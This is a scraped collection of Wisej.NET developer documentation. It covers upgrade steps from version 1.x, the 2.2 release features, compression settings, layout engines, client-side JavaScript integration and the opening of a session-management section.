This issue occurs when trying to loading multiple versions of Wisej.NET into one Visual Studio instance. Visual Studio loads the Wisej.NET designer assembly for the first page that is shown in the designer. If you open a page from a different project using a different version of Wisej, you will get this error.

Simply restart Visual Studio and re-open the new page.

Upgrade from 1.x

Upgrading from Wisej.NET 1.X to recent Wisej.NET versions is extremely easy. All you need to do is replace the references and make sure some "using" statements referring to design-time features are updated.

Upgrade Checklist

  • Set target .NET Framework to 4.8

Setting the target .NET Framework to 4.8 is crucial to avoid any issues when installing or compiling your application

  • Replace project references to Wisej.Web.dll and Wisej.Core.dll with a NuGet Package reference

For Wisej.NET 2.X make sure to use the "Wisej-2" NuGet Package.

For Wisej.NET 3.X make sure to use the "Wisej-3" NuGet Package.

  • Replace .resx namespaces to Wisej.Web. and Wisej.Core. with Wisej.Framework. You can do that by doing a mass replacement. From Visual Studio, go to Edit > Find and Replace > Replace in Files or simply use the Ctrl+Shift+H Hotkey.\

Make sure to edit the File types field to only include RESX files.

  • Change using Wisej.Core.Design to using Wisej.Design using the same process as the previous step, although this time change the File type from RESX files to CS files.

  • Change calls from ApplicationBase. to Application, again following the same process as the previous step.

  • Modify Web.config and replace "Wisej.Core" with "Wisej.Framework"

2KB
Web.config
Sample Web.config file
<?xml version="1.0" encoding="utf-8"?>
<!--
  For more information on how to configure your ASP.NET application, please visit
  http://go.microsoft.com/fwlink/?LinkId=169433
  -->
<configuration>
  <appSettings>
    <add key="Wisej.LicenseKey" value="" />
    <add key="Wisej.DefaultTheme" value="Bootstrap-4" />
  </appSettings>
  <system.web>
    <compilation debug="true" />
    <httpRuntime targetFramework="4.8" maxRequestLength="1048576" />
    <httpModules>
      <add name="Wisej" type="Wisej.Core.HttpModule, Wisej.Framework" />
    </httpModules>
  </system.web>
  <system.webServer>
    <validation validateIntegratedModeConfiguration="false" />
    <handlers>
      <add name="json" verb="*" path="*.json" type="System.Web.HttpForbiddenHandler" />
      <add name="wisej" verb="*" path="*.wx" type="Wisej.Core.HttpHandler, Wisej.Framework" />
    </handlers>
    <security>
      <requestFiltering>
        <requestLimits maxAllowedContentLength="1073741824" />
      </requestFiltering>
    </security>
    <defaultDocument enabled="true">
      <files>
        <add value="Default.html" />
      </files>
    </defaultDocument>
  </system.webServer>
  <!--
	Uncomment the trace listener below to enable logging to a log file.
	-->
  <!--
	<system.diagnostics>
		<trace autoflush="true" indentsize="4">
		  <listeners>
			<remove name="Default" />
			<add name="Default" type="System.Diagnostics.TextWriterTraceListener" initializeData="Trace.log" />
		  </listeners>
		</trace>
	</system.diagnostics>
	-->
</configuration>
<!--ProjectGuid: f56c9a70-bc66-49ef-957b-6de7ca9980d5-->

New SDK Format

There is no need to change the project format if you are staying with .NET 4.8! Wisej.NET 3 supports both .NET Framework and .NET Core. You only need to change the project format to the SDK format if you are going to use .NET Core and ASP.NET Core.

Designer and Templates

Starting with Wisej.NET 3.0, we're now shipping the Designer and Templates as VSIX installers. This gives you the ability to manage updates directly from Visual Studio's Extension Manager.

For Wisej.NET 2.X , you can install the designer as its own NuGet Package.

What's new in 2.2

PWA Support

A new PWA project template includes a set of professionally-designed offline pages end the required manifest file. The worker process script is embedded in the Wisej.NET loader. Wisej.NET will automatically pre-cache locally all the resources and offline pages. Enable PWA support in Default.json by setting enablePWA: true.

The improved offline detection process automatically switches to the offline pages when it detects a disconnection and restores the application when the connection is restored.

A new event Application.BeforeInstallPrompt allows the application to detect when it can be installed as a PWA, and a new client-side method Wisej.showPWAPrompt() displays the browser's PWA installation prompt. Using the Application.BeforeInstallPrompt event allows the application to display a custom notification to the user (the browser's default PWA notification is just a tiny + symbol in the address bar.)

Additionally, the application can attach a client side event to a button or an icon to show the PWA installation prompt when the user clicks the control.

It is not possible to show the installation prompt from a server side event. To show the prompt on a button click, add a client event handler for the "execute" event and call "Wisej.showPWAPrompt()".

When the application goes offline, Wisej.NET loads the /Offline/Default.html page. The image below is one of the pages included with the project template. However, you can put an entire JavaScript application inside the /Offline folder. Wisej.NET will pre-cache locally all the files at all level.

Wisej.NET will switch back to the application as soon as it detects that the connection is restored. Unless the session expired, the entire previous state is reloaded and the user is able to keep working from where the disconnection occurred.

iOS and Android Integration

Our integration packages create a hybrid application, where the Wisej.NET web application is able to interact with all native-only features of the mobile device.

The Wisej.NET app can: show native alerts, use the camera, use the microphone, use the GPS, read the magnetometer read the gyroscope, read the accelerometer, play sounds, switch the flashlight, push notifications, read and write NFC chips, authenticate using TouchID or FaceID, create a native Toolbar, create a native TabBar, manage the StatusBar, read all the device information, handle multiple screens, lock the screen orientation, manage the screen brightness, brew coffee, and more…

You can achieve similar functionality for free by using the PhoneGap open source project. In our view, the learning curve is steeper and the functionality offered by PhoneGap is not as powerful as our integration.

For example, this is all the code you need to authenticate a user using FaceID in C# or VB.NET from the server side.

if (Device.Authenticate("Show me your pretty face!"))
{
  AlertBox.Show("Welcome! You are you.");
}
If Device.Authenticate("Show me your pretty face!") Then

  AlertBox.Show("Welcome! You are you.");

End If

A Wisej.NET hybrid application can also push notifications, read any property of the device, store files locally, and manage a native toolbar, a tabbar, the status bar, and all the available sensors through the Device object.

Wisej.NET 2.2 also greatly improves virtual scrolling and touch integration.

DataGridView

There are two important enhancements in the Wisej.Web.DataGridView control:

Virtual Rows

Starting from Wisej.NET 2.2, the DataGridView doesn't create any row when the grid is data-bound or running with VirtualMode set to true. It instead gets the values directly from the data source or the CellValueNeeded event when virtual.

A simple test with 100K rows and 10 columns in VirtualMode uses about 5MB in Wisej.NET 2.1 and only about 400KB in Wisej.NET 2.2. It basically only needs 1 Int32 per row to keep track of the state of each row.

As the code requests rows, the framework converts virtual rows into real rows transparently. However, if the application is changed to use dataGrid.GetValue(col, row ) and dataGrid.SetValue(col, row, value) instead of addressing the cells directly, it will read and save from/to the data source and will not create any row.

Selection Modes

Now the DataGridView supports all the standard selection modes (CellSelect, FullRowSelect, FullColumnSelect, RowHeaderSelect, NoSelection) and adds a new mode: RowColumnHeaderSelect.

You can use the SelectedCells, SelectedRows and SelectedColumns collection to read the selected objects.

Note that the collections of selected objects depend on the SelectionMode. For example, if the SelectionMode is set to ColumnHeaderSelect, users can select cells or columns. When the user selects a column by clicking on the header, the SelectedColumns collection will return the selected column, but the SelectedCells collection will be empty. However, testing the DataGridViewCell.Selected property of each cell in the selected column will return true.

Toast Notifications

Unlike the MessageBox and AlertBox, which are static classes, the Toast is a component that you create and can hold on to in your application. You can reuse it and you can update the content while the Toast is visible.

It can be located in any of the 9 standard locations. By default it appears at the TopCenter location. It contains an icon and a text that can display any HTML content (by setting the AllowHtml property to true).

Toasts auto close by default after 5 seconds but they do not auto dispose. To auto dispose a toast instance when it's closed, set the AutoDispose property to true. You can detect when the user clicks on a Toast by handling the Click event, and handle the Close event to run code when the Toast is closed.Populate a ComboBox without keeping the binding link with the data source.

// Show a Toast and update it in the background.
this.myToast = new Toast("Records saved successfully", "icon-save");
this.myToast.Show();

// Or
new Toast("Records saved successfully", "icon-save").Show();

// Update a Toast after it has been made visible.
this.buttonDelete.Click += (s, e) => {
    this.myToast.Text = "Deleted!";
};
'' Show a Toast and update it in the background.
Me.myToast = New Toast("Records saved successfully", "icon-save")
Me.myToast.Show()

'' Or
New Toast("Records saved successfully", "icon-save").Show()

'' Update a Toast after it has been made visible.
AddHandler Me.buttonDelete.Click, 
    Sub(s, e)
        Me.myToast.Text = "Deleted!"
    End Sub

DataRepeater

Now the DataRepeater supports items of variable height (when in vertical mode) and width (when in horizontal mode). It can auto size the child items to fit the content, or you can set the size of each item programmatically.

Additionally, the virtual scrolling, mobile scrolling, and prefetching have been improved considerably. The DataRepeater can now handle unlimited items seamlessly without a glitch.

Applications using the DataRepeater can set the AutoSize property of the panel template to true to automatically resize each item panel to fit its content, or you can set the height or width of each item while handling the ItemUpdate event

Data Binding

All controls that support data binding have been improved with two new methods:

  • Fill

    Populates the control from a data source object without keeping the control linked to the data source.

  • Append

    Appends the data source object to a previously populated control without keeping the control linked to the data source.

These new methods allow a control to retrieve the data from the data source without keeping the bidirectional binding link. All the properties that specify the fields to bind to are still used, making the population of list controls much easier.

// Fill the ComboBox with data
// this.comboBox1.DataSource = options;
this.comboBox1.Fill(options);

// Add a second set of options without having to create a new data source.
this.comboBox1.Append(options2);
'' Fill the ComboBox with data
'' Me.comboBox1.DataSource = options
Me.comboBox1.Fill(options)

'' Add a second set of options without having to create a new data source.
Me.comboBox1.Append(options2)

Wisej.NET 2.2 also adds full data binding support to the ListView control, including support for the new Fill and Append methods.

The new ListView control supports the following data binding properties:

  • DataSource

    Returns or sets the data source for the ListView control.

  • DataMember

    Returns or sets the name of the list or table in the data source for which the ListView is displaying data.

  • ColumnHeader.DisplayPropertyName

    Returns or sets the property to display in the ListView items.

  • ListViewItem.DataBoundItem

    Returns the data-bound object for the ListViewItem.

The DisplayPropertyName property can only be set on column headers in order to be able to data bind items and sub-items.

Integrations

// In Wisej.NET 2.1
this.gage.Call("value", 10);

// In Wisej.NET 2.2
this.gage.Instance.value(10);
this.gage.Instance.onValueChanged += (s, e) => {

  AlertBox.Show($"New value:{(int)e.getData()}");

};
'' In Wisej.NET 2.1
Me.gage.Call("value", 10)

'' In Wisej.NET 2.2
Me.gage.Instance.value(10)
AddHandler Me.gage.Instance.onValueChanged,
    Sub(s, e)
        AlertBox.Show($"New value:{e.getData()}")
    End Sub

You must buy a license directly from the vendor of the widget library. Wisej.NET doesn't include any free license!

Vendor
GitHub Repository
Live Demo

Syncfusion

DevExtreme

Telerik

Infragistics

Lazy Loading

The ComboBox and the ListBox control have a new LazyLoading property, similar to the existing TreeNode.LazyLoading.

When LazyLoading is set to true, the list items (or child nodes in a TreeNode) are sent to the client the first time the ComboBox is dropped down, or when the ListBox "appears" on the client browser. It reduces the size of the data sent to the browser when creating a page and speeds up the initial loading of pages and windows.

All Controls

All controls in Wisej.NET 2.2 have some enhancement:

  • Control.ToolTipText

    All controls have a new ToolTipText property. It allows an application to set the tooltip text on any control without having to add the Wisej.Web.ToolTip provider.

    However, if the application needs to modify some additional aspects of tooltips, it should still use the Wisej.Web.ToolTip provider which exposes the additional tooltip properties.

  • PictureBox.Filter

  • TabControl.ScrollStep

    Sets the number of pixels to scroll when the scroll buttons are pressed to bring a tab into view.

  • ListBox.IncrementalSelection

    When true (default) the ListBox caches keystrokes for less than a second allowing a user to type and incrementally select the list items, i.e. typing "ab" selects the first item that start with "ab". When false, typing "ab" will select the first item that starts with "b".

  • TextBoxBase.SelectOnEnter, ComboBox.SelectOnEnter, DateTimePicker.SelectOnEnter, UpDownBase.SelectOnEnter

    When SelectOnEnter is true, the entire content in the editable area is always selected when the control gains the focus.

  • TreeView.RighClickSelection, ListBox.RightClickSelection

    When true, right clicking a TreeNode or a ListBox item (i.e. to show a ContextMenu) will select the item.

  • TagTextBox.KeepWatermark

    When true, the TagTextBox keeps showing the Watermark text in the editable portion of the control after the tags.

  • DataGridView.SelectionDelay

    When set to a value greater than 0 (the default), the grid waits the specified number of milliseconds before notifying the server that the selected element has been changed using the keyboard.

    This property prevents the server from being flooded with row selection events when a user rapidly navigates and selects different rows using the up/down keys.

  • FileDialog.LoadPath, FolderBrowserDialog.LoadPath

    The file and folder dialogs expose a new LoadPath event. It is fired for each file and each folder loaded by the dialogs. An application can handle this event and set the icon to display, the size, and the dates related to the file or folder. The event is cancelable, allowing the handler to set e.Cancel to true to filter out specific files or folders from the list.

  • Application.SetSessionTImeout

    Changes the session timeout for the current session only.

Application Events

The Application object exposes two new global events:

  • ActiveWindowChanged

    This event is fired when the active floating window changes. Allows an application to react to the change of the active window globally.

  • FocusedControlChanged

    This even is fired when the focused control changes, regardless of where it's located. Allows an application to process changes to the currently focused control.

Configuration

There are two new settings that are supported in the Default.json configuration file:

  • threadPool

  • enablePWA

    Enables PWA support. When set to true, the Wisej.NET bootstrapper will include the built-in service worker. It will preload and cache locally the Wisej.NET libraries and all the assets found in the /Offline directory.

Snap lines demonstration
Quick actions menu demonstration
Rotation properties are provided by the Rotation extender.
Manual tab order mode
Horizontal/Vertical tab order mode
Before clicking the button.
After clicking the button.
After the user selected Yes.
Language selection dropdown
Typical real-time exchange in Wisej. The request is sent in plain JSON and carries the session id.
Full print. Includes the main page and any floating window.
Isolated control print.
Form with AutoScroll = true and no AutoScrollMargin
Form with AutoScroll = true and AutoScrollMargin set to 50,50 pixels
Form with AutoScroll = true and AutoScrollMinSize set to 1000,1000 pixels.
AutoSize labels anchored left and right in a Panel.
DateTimePicker and ComboBox with and without AutoSizing.
Panel with AutoSizeMode=GrowAndShrink
<big><big><big><big>👍</big> </big></big></big>Label <big><big><big><big><b>Top
Label = "&Name"
Wisej.NET Theme Images
Painting the Mandelbrot on the server
button1 is last in the controls collection
button1 is first in the controls list
Button with a BackgroundImage
ColorDialog showing color selection options with hex, RGB, and HSB inputs
Customized ColorDialog with green theme applied to header and buttons
OpenFileDialog showing file type filtering options
OpenFileDialog showing help button and navigation interface
Customized OpenFileDialog with dark orange theme applied
SaveFileDialog showing image file type filtering options
SaveFileDialog showing file existence validation warning
SaveFileDialog showing help button and navigation interface
Customized SaveFileDialog with dark orange theme applied
MaskedTextBox mask property editor
MaskedTextBox showing invalid input message
MaskedTextBox with custom validation handling
DateTimePicker control
TextBox with label
TextBox with spell checking enabled
TextBox with tool buttons
TextBox with watermark
Equivalent to setting Filter = "[a-zA-Z]"
TextBox with custom border radius
Native input types in Chrome
TextBox with autocomplete list
TextBox showing filtered autocomplete options
TagTextBox with auto-sizing enabled
TagTextBox with auto-completion options
Wisej.NET Theme Builder with custom TagTextBox tag colors
FolderBrowserDialog showing multiple root directories for navigation
FolderBrowserDialog showing help button and navigation interface
Customized FolderBrowserDialog with cadet blue theme applied
Dialog showing the Inherited Window creation option
Dialog showing FolderBrowserDialogUI selection
DateTimePicker format options
DateTimePicker with label
DateTimePicker validation message
DateTimePicker with custom mask
Customized DateTimePicker control.
TrackBar in horizontal and vertical orientations
TrackBar with different tick mark configurations
DomainUpDown control with label
TimeUpDown Labels in various positions
TimeUpDown with Left, Center, and Right icon alignments
NumericUpDown control with label
NumericUpDown with formatting options

If the \Wisej.NET 3 directory is missing, run the installer again or download the templates from this .

You may also need to clear the .

It's highly recommended that you use the new PackageReference format instead of the old Packages.config file for managing your Packages. Click for more info.

Wisej.NET 2.x NuGet Package
Wisej.NET 3.x Nuget Package
Replacing Wisej.Web by Wisej.Framework

Wisej.NET 3.0 introduced the ability to target .NET 6, with this change came the need to introduce the new .

If you're aiming to migrate to .NET 6 or newer, click for more info.

Wisej.NET 2.X Visual Studio Designer

Templates can also be manually installed, click for more info.

Wisej.NET 2.2 introduces built-in PWA support, dynamic integration with all major JavaScript vendors, native iOS and Android integration (available for ), enhancements to all controls, improved memory management, and lots of new functionality across the board.

Progressive Web Application () support is now built-in into Wisej. It allows a Wisej.NET application to be installed in the desktop or a mobile device along with the locally cached libraries and offline pages.

At this time it appears that only Chrome fires the event.

Currently the native integration packages for iOS (Xcode) and Android (Android Studio) are available for free only to . However, we are planning to add new license options to Wisej.NET to make these packages available without having to sign up for the Technology Partner program.

Mobile hybrid application showing a Wisej.NET DataRepeater with touch scrolling.

See for a description of each selection mode.

Wisej.NET 2.2 includes a new and lighter notification control: .

All the premium integration libraries are now free. Each library is a GitHub ongoing project. The libraries for Wisej.NET 2.1 include some extra dynamic code that is not built-in the class in Wisej.NET 2.2.

The class exposes a new property. It's a dynamic object that is able to convert any method call into a JavaScript call on the third-party widget and can attach custom event handler to events fired by the implementation.

Sets a on the PictureBox image.

ThreadPool is a map defined as {minWorkerThreads, minCompletionPortThreads, maxWorkedThreads, maxCompletionPortThreads} that corresponds to the system's ThreadPool settings that can be applied by code or in machine.config. See . All properties are optionals. A typical settings is "threadPool":{minWorkerThreads: 100}.

Troubleshooting
here
SDK Project Format
here
Technology Partners
PWA
BeforeInstallPrompt
Technology Partners
DataGridViewSelectionMode
Wisej.Web.Toast
Wisej.Web.Widget
Wisej.Web.Widget
Instance
CSS filter
ThreadPool.SetMinThreads
page
Visual Studio Designer cache
here
Wisej-Ext-Syncfusion
https://wisej-demobrowser.azurewebsites.net/Syncfusion
Wisej-Ext-DevExtreme
https://wisej-demobrowser.azurewebsites.net/DevExtreme
Wisej-Ext-Kendo
https://wisej-demobrowser.azurewebsites.net/Kendo
Wisej-Ext-Ignite
https://wisej-demobrowser.azurewebsites.net/Ignite

Compression

Wisej.NET provides built-in compression support for all HTTP and WebSocket communications.

Enabling Compression

Compression is enabled by default. Both browser and Wisej.NET server use gzip as the default compression system.

Wisej.NET automatically compresses all HTTP and WebSocket packets when the size exceeds a certain threshold, ensuring that compression doesn't result in larger packets.

You may disable WebSocket compression by setting the enableWebSocketCompression setting to false in Default.json.

Disabling WebSocket compression allows you to debug the frames when examining Network packets using the browser's Developer Tools.

{
  "enableWebSocketCompression": false
}

Brotli

Under some still unknown circumstances, the Brotli implementation from Google may generate the error "Unused space" on the browser. If you encounter this error, simply remove Wisej.Web.Ext.Brotli.dll.

Wisej.NET fully supports the compression library - even on browsers without native Brotli support.

Use Add New Item and select Brotli to add the Wisej.Web.Ext.Brotli assembly. The source code for this extension is available in our Github repository: .

Brotli
Brotli extension source code
Auto Layout

Layouts

Wisej.NET includes several built-in layout engines and allows developers to easily build custom layout engines. This enables implementing layouts of any complexity, beyond what's available using plain CSS in browsers.

Traditional web frameworks using HTML string concatenation and CSS layouts (Blazor, Angular, PHP, ASP.NET, JSP, etc.) support only a fraction of the layouts available in Wisej.NET applications.

Layout Engines

Default

All controls use the DefaultLayout engine, which supports:

Docking

Docking applies to child controls in inverse order "away from the viewer". The child control order affects how docking uses available space and intersections between horizontal/vertical docked controls.

Anchoring

Anchoring styles can be applied to any of the four sides of a control, or none.

To keep a control centered in its parent, center it and remove the anchoring.

Padding and Margins are irrelevant to anchoring.

Flow

Set these values programmatically using flowLayoutPanel.SetFlowBreak(child, value) or flowLayoutPanel.SetFillWeight(child, value).

In the animation below, green buttons have FillWeight set to 1. Left panel flows horizontally, right panel flows vertically:

The FlowLayout engine enforces margins. Changing a child control's Margin property increases distance to adjacent controls.

Table

  • Row, Column, Cell: Determine the grid cell placement for the control. Only one control can occupy a specific cell.

  • RowSpan: Determines how many rows are occupied by the cell.

  • ColumnSpan: Determines how many columns are occupied by the cell.

  • Resize proportionally using percentage

  • Auto-size to fit content

  • Have fixed pixel size

Additionally, controls can dock or anchor inside their assigned cell.

The animation below shows a TableLayoutPanel where button3 spans 2 columns and is anchored left and right while vertically centered in the cell. Adding new controls using this code automatically adds new rows when the last row's cells are occupied:

private void button1_Click(object sender, EventArgs e)
{
	this.tableLayoutPanel1.Controls.Add(new Button { 
		Text = "New Button"
	});
}

The TableLayout engine enforces margins. Changing a child control's Margin property affects distance to adjacent controls.

Flex

The animation below shows two FlexLayoutPanels - first using HBox layout, second using VBox layout. Some buttons have FillWeight set to 1, and button3 is set to align vertically:

The FlexLayout engine enforces margins. Changing a child control's Margin property affects distance to adjacent controls.

Custom

You can build a custom layout engine by deriving from the Wisej.Web.Layout.LayoutEngine class and overriding the Control.LayoutEngine property in your container class.

You can create a single instance (singleton) of your layout engine to reuse, rather than creating a new instance for each container instantiation.

A layout engine needs to implement three methods:

  • InitLayout(child, specifiedBounds): Optional - can use base implementation. Since layout engines can be cached, this call refreshes any internal cache related to a child control.

  • GetPreferredSize(container, proposedSize): Optional - can use base implementation. Used when the container's AutoSize property is enabled and needs to measure children for preferred size.

  • Layout(container, args): Arranges child controls in their container. The simplest layout engine does nothing, letting controls use their own Location and Size.

This sample shows a basic custom layout that arranges child controls in a cascading pattern from top-left to bottom-right:

public class CascadeLayout : LayoutEngine
{
	private static CascadeLayout _instance;

	private CascadeLayout() { }

	public static LayoutEngine Instance
		=> _instance = _instance ?? new CascadeLayout();

	public override bool Layout(object container, LayoutEventArgs layoutEventArgs)
	{
		var panel = (CascadeLayoutPanel)container;

		var gap = panel.Gap;
		var size = panel.ClientSize;
		var count = panel.Controls.Count;
		size.Width = size.Width - gap * (count - 1);
		size.Height = size.Height - gap * (count - 1);

		var i = 0;
		var bounds = new Rectangle(Point.Empty, size);
		foreach (Control child in panel.Controls)
		{
			child.Bounds = bounds;

			bounds.X += gap;
			bounds.Y += gap;
		}

		return false;
	}
}

The CascadeLayout engine works with this CascadingLayoutPanel. It adds a Gap property used by the layout engine:

public class CascadeLayoutPanel : Panel
{
	public override LayoutEngine LayoutEngine 
		=> CascadeLayout.Instance;

	public int Gap
	{
		get { return _gap; }
		set
		{
			_gap = value;
			PerformLayout();
		}
	}
	private int _gap = 30;
}

Depending on the value of the Gap property and the size of the container, this is the result.

Design Time

AutoLayout

Since 3.0

The designer's toolbar has a new option to arrange child controls without setting the Dock or the Anchor properties.

Clicking the AutoLayout button opens the AutoLayout floating panel:

Button
Description

Arranges the controls horizontally, using the available space proportionally.

Arranges the controls vertically, using the available space proportionally.

Docks the controls to the left of the containing area.

Docks the controls to the right of the containing area.

Docks the controls to the bottom of the containing area.

Docks the controls to the top of the containing area.

Resizes the controls to fill the containing area.

Toggles using the controls' margin when applying the auto layout.

Selects the horizontal alignment of the controls within the containing area.

Selects the vertical alignment of the controls within the containing area.

Sets the spacing between the controls in pixels.

Margins

Margins are used by the designer to create proximity snap lines.

When moving a control near another, proximity snap lines appear based on the controls' margins.

The vertical snap line between controls combines the top control's Margin.Bottom and bottom control's Margin.Top values. Using this feature correctly simplifies UI development and helps maintain UI/UX guidelines.

JavaScript

Wisej.NET enables adding unlimited JavaScript code with direct widget references. Your JavaScript code can be in .js files, called from C#/VB.NET, or embedded in resource files.

JavaScript in Wisej.NET

You can add JavaScript to a Wisej.NET application in several ways:

  • Script tag in Default.htm

    You can add scripts in the application startup page (usually Default.htm). However, scripts in the <head> tag execute before the Wisej.NET library loads and initializes. Even scripts loaded on document ready are too early for application widgets. Therefore, JavaScript in Default.htm should only be used for non-Wisej.NET purposes.

  • Embedded resource

    While too early for application objects, this is ideal for installing additional widget classes or overriding existing ones. All Wisej.NET widgets use this technique.

  • JavaScript Extender Provider

    Drop the JavaScript Extender on any top-level container (Form, Page, Desktop or User Control) to extend all controls with two properties: JavaScript and JavaScriptSource.

The JavaScript property accepts JavaScript code that runs in the control's context - this refers to the control's widget on the client. You can use widget methods, properties and address related widgets. This code runs last, after Wisej.NET renders and updates page widgets.

Use this extender to attach client events or modify widget behavior. The image below shows a button code snippet displaying a client-side alert:

  • Call or Eval from C#/VB.NET

    Call(name, args) invokes functions on the target widget, while Eval(script) executes any script in the widget's context.

void form1_OnLoad(EventArgs e)
{
  // move the window to 10,10.
  // there is no need to do this since you can simply set the Location property, but
  // it shows how to call a client side function from the server.

  this.Call("moveTo", 10, 10);
}
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

  ' move the window to 10,10.
  ' there is no need to do this since you can simply set the Location property, but
  ' it shows how to call a client side function from the server.

  Me.Call("moveTo", 10, 10)
  
End Sub

Note that Call method's first parameter is just the function name, while Eval expects a complete script:

void form1_OnLoad(object sender, EventArgs e)
{
  // attach to the "move" event on the client side and
  // log the information to the console (use F12 to see the result)

  this.Eval(@"this.addListener('move', function(e) {
    console.log('Moved to ' + e.getData());
  }");
}
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

  ' attach to the "move" event on the client side and
  ' log the information to the console (use F12 to see the result)
  
  Me.Eval( _
    "this.addListener('move', function(e) {" & _
      "console.log('Moved to ' + e.getData());" & _
    "}" _
  )
  
End Sub

JavaScript Object Model

Wisej.NET keeps the server and client browser in sync, including the application's UI object model. This allows JavaScript code to interact with Wisej.NET controls in the browser while simultaneously updating their server-side components.

UI Object Model

Wisej.NET registers all top-level windows and their children hierarchically with the browser using App as the root object. For example, the simple HelloWorld tutorial application registers the JavaScript object App.Window1. You can view the object model using F12 and typing App. in the console.

Child objects are reachable as members of their parent control, e.g.: App.Window1.button1.

The example below shows how to change button1 text using JavaScript and trigger the server-side event. Type this code in the browser's console (F12):

App.Window1.button1.setLabel("Hello JavaScript");
App.Window1.button1.execute();

When a name collision occurs between a child control and a widget method/property, Wisej.NET ignores the child control name. You can still access it using parent.getChildControls()[index]. For component collisions (e.g., multiple Window1 objects), Wisej.NET converts the member to an array: App.Window1[0], App.Window1[1], etc.

Remote Methods

Wisej.NET supports calling server-side methods from the client. Any public method in a visual component with the [Wisej.Core.WebMethod] attribute becomes a remote method. You can call it from the browser, passing arguments and receiving return values from the server.

You can also declare public static [Wisej.Core.WebMethod] methods in your Program.cs class - these are registered as methods of the App object on the client side.

The example below shows adding remote methods to a form and the application, demonstrating return values:

public class Window1: Wisej.Web.Form
{
  ...
  [WebMethod]
  public void Hello(string name)
  {
    // Change the window title.
    this.Text = "Hello " + name;
  }
}

...

public static class Program
{
  ...
  [WebMethod]
  public static int Hello(string name)
  {
    this.Text = "Hello " + name;

    // Return the lentgh of the parameter.
    return name.length;
  }
}
Public Class Window1 
  Inherits Wisej.Web.Form

    ...
  <WebMethod>
  Public Sub Hello(name As String)
  
    ' Change the window title.'
    Me.Text = "Hello " + name
    
  End Sub
  
End Class

...

Module Program
  ...
  <WebMethod>
  Public Function Hello(name As String) As Int32

    Me.Text = "Hello " + name
    
    ' Return the length of the parameter.    '
    Return name.Length
    
  End Function  
End Module

Here's how to use these web methods in the browser console:

// Invoke the method Hello on the current instance of Window1.
App.Window1.Hello("Mary");

// Invoke the static method Hello on the Program class, running using the current session.
// And display the returned value in browser alert.
App.Hello("Jack", function(result){ alert(result); });

Only web methods declared in top-level containers (Page, Form, Desktop) are automatically registered with the client widget.

Web methods in child control classes need explicit registration by overriding OnWebRender() and adding the webMethods array: config.webMethods = new[]{"method1", "method2"};

Layout engines handle arranging controls in their container. Every control's property returns the current engine and can be overridden in derived classes. The engine measures preferred size for AutoSize controls and arranges position/size of container's direct children.

Absolute positions: Each child sets its own and

Docking: Children can dock to the parent using

Anchoring: Children can anchor their sides to the parent using

Docking demonstration

Controls dock using the container's area, reduced by the property.

The DefaultLayout engine doesn't use margins. To increase distance between docked controls, add docked .

When a control has no anchoring (), it will "float" within its container, preserving its relative location. Likewise, if anchoring is not set only for the vertical sides or horizontal sides, the control "floats" vertically or horizontally.

The default initial value of the property is Top + Left.

Anchor demonstration

The flow layout engine is implemented for the . Child controls are arranged horizontally or vertically next to each other.

When using a FlowLayoutPanel in the designer, it extends all its children and adds several relevant only for flow layout:

FillWeight: An arbitrary integer determining whether the child control grows horizontally or vertically (depending on ) to use remaining space. Default is 0, preserving control size. ⚠️ When using FillWeight, set the control's to prevent shrinking to 0.

FlowBreak: When true, causes a flow break, wrapping to the next line/column depending on the panel's .

Flow layout demonstration

The table layout engine is implemented for the . Child controls are arranged in cells in a grid.

When using the TableLayoutPanel in the designer, it extends its children and adds several relevant only for table layout:

This layout engine doesn't allow wrapping but supports growing. When adding a child programmatically, you can control whether to add a new row or column when all cells are assigned by setting the property.

Use the and collections to determine cell sizing modes. Cells can:

Table layout demonstration

The flex layout engine is implemented for the . It comprises two layout engines: HBoxLayout and VBoxLayout. This container arranges its children horizontally or vertically, always filling the client area.

Controls can use Margin, , and several extension properties to customize the layout:

FillWeight: An arbitrary integer determining whether the child control grows horizontally or vertically (based on ) to use remaining space. Default is 0, preserving control size. ⚠️ When using FillWeight, set the control's to prevent shrinking to 0.

AlignX: Controls horizontal alignment of child controls that can't fill a vertical FlexLayoutPanel due to width constraints. Overrides the default for that control.

AlignY: Controls vertical alignment of child controls that can't fill a horizontal FlexLayoutPanel due to height constraints. Overrides the default for that control.

Flex layout demonstration

All controls written in C#/VB.NET on the server are created as pure JavaScript widgets on the client and registered in a new object model under App. See .

Create a .js file, set it to under /Resources or /Platform and add [assembly:WisejResources] to AssemblyInfo.cs. Wisej.NET loads and invokes these JavaScript files in order with the framework library.

JavaScript Extender

The property works similarly but accepts a .js file instead of inline code. This is useful for longer scripts and leverages Visual Studio's JavaScript editor.

Every Wisej.NET control and the Application class expose two client-side JavaScript execution methods: and .

Wisej.NET JavaScript widgets derive from Qooxdoo's widget. See reference for available methods and properties.

LayoutEngine
Location
Size
DockStyles
AnchorStyles
DisplayRectangle
Padding
Spacers
AnchorStyles.None
Anchor
FlowLayoutPanel
extension properties
FlowDirection
MinimumSize
FlowDirection
TableLayoutPanel
extension properties
GrowStyle
RowStyles
ColumnStyles
FlexLayoutPanel
MinimumSize
MaximumSize
LayoutStyle
MinimumSize
HorizontalAlign
VerticalAlign
JavaScript Object Model
EmbeddedResource
JavaScriptSource
Call
Eval
Qooxdoo's API

Session Management

Wisej.NET provides comprehensive session management - among the most complete server-side state management systems compared to other web frameworks.

Web Session Basics

Web systems are inherently stateless:

  • Each browser request may be processed by different server threads

  • Server threads can be reused across browsers

  • Session management requires generating and tracking session IDs with each request

Wisej.NET fully supports server-side state management for both HTTP and WebSocket connections.

Contrast this with other frameworks:

  • Blazor lacks native state management - refreshing loses all work

  • Angular, React and similar client-side libraries don't support sessions

  • ASP.NET offers limited HTTP-only session control (not WebSocket compatible) using shared cookies

Understanding Sessions

Important distinctions:

  • Sessions differ from users and authentication

  • Web sessions parallel desktop application instances

  • Desktop apps can run with/without users/authentication

  • Multiple instances create separate sessions

  • Web apps don't run separate executables per session

  • No dedicated UI thread exists

  • Each request independently restores session state

Session Challenges

Web applications face unique session management challenges:

  • Browser and server on different machines

  • Intermittent connectivity

  • Users leaving browsers open

  • Unexpected shutdowns

  • Navigation between pages

  • Browser refresh/F5

Sessions must survive some events while terminating for others. With no reliable way to detect browser closure, device shutdown, or distinguish navigation from tab closure, Wisej.NET uses:

Timeout

When a session times out, it's permanently removed - like terminating a desktop application. ASP.NET's Session_End handler in Global.asax fires after session removal, allowing only cleanup.

Keep-Alive

